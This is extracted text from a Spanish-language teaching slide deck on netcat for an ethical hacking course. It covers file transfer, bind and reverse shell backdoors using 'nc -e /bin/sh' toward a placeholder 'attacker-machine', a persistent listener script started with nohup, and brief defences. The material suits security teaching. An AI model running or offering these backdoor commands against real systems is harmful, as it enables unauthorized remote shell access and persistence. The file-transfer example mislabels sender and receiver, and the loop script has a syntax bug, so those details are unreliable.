Está en la página 1de 11

Ingeniería de Telecomunicaciones y Redes

Curso: Ethical Hacking

Netcat

Ing. Fernando Flores Solís


Disclamer
• Todo el contenido de esta clase es resultado
de investigación con fines didácticos y
educativos.
• El autor no se hace responsable por el uso del
conocimiento contenido en la siguiente
presentación. La información contenida debe
ser utilizada únicamente para fines éticos y
con la debida autorización.

Slide #2
Agenda
• Que es?
• Donde obtenerlo
• Transferir archivos
• Backdoor
• Conclusiones
netcat
Netcat es una herramienta de red que permite a través de
intérprete de comandos y con una sintaxis sencilla abrir puertos
TCP/UDP en un HOST (quedando netcat a la escucha), asociar una
shell a un puerto en concreto (para conectarse por ejemplo a MS-
DOS o al intérprete bash de Linux remotamente) y forzar
conexiones UDP/TCP (útil por ejemplo para realizar rastreos de
puertos o realizar transferencias de archivos bit a bit entre dos
equipos). Fue originalmente desarrollada por Hobbit en 1996 y
liberada bajo una licencia de software libre permisiva (nocopyleft,
similar a BSD, MIT) para UNIX. Posteriormente fue portada
a Windows y Mac OS X entre otras plataformas.
Downloading Netcat
• Netcat for Linux
– http://netcat.sourceforge.net/
• Netcat for Windows
– http://joncraton.org/files/nc111nt.zip
Transferencia de Archivos con Netcat
• Copiar archivos a traves del puerto 3333 (-l,
listen)
• PC origen ofrece la transferencia :
– nc -l -p 3333 > backup.iso
• Pc Destino, recibe el archivo:
– nc bar 3333 < backup.iso
Backdoor Command Shell
• Victima
– $nc –l –p 3333 –e /bin/sh
• Atacante
– nc victim 3333
– Envia r comandos
• Los puertos pueden ser bloqueados por el
firewall
Backdoor Reverse
Pc atacante:
nc –l –p 3333
Pc victima:
$nc attacker-machine 3333 –e /bin/sh
El atacante realiza comandos de la shell enviada
por la victima
Persistent Listener
PC de la victima

listener.sh
while [1]; do echo “Started”;
nc –l –p 3333 –e /bin/sh; done

chmod 555 listener.sh


nohup ./listener.sh &
Defensa Netcat
• Use firewall para prevenir la trasnferencia de
archivos
• Limitar el numero de puertos
• Conoce que procesos corren en tu sistema.
CIT 380: Securing Computer Systems Slide #11

También podría gustarte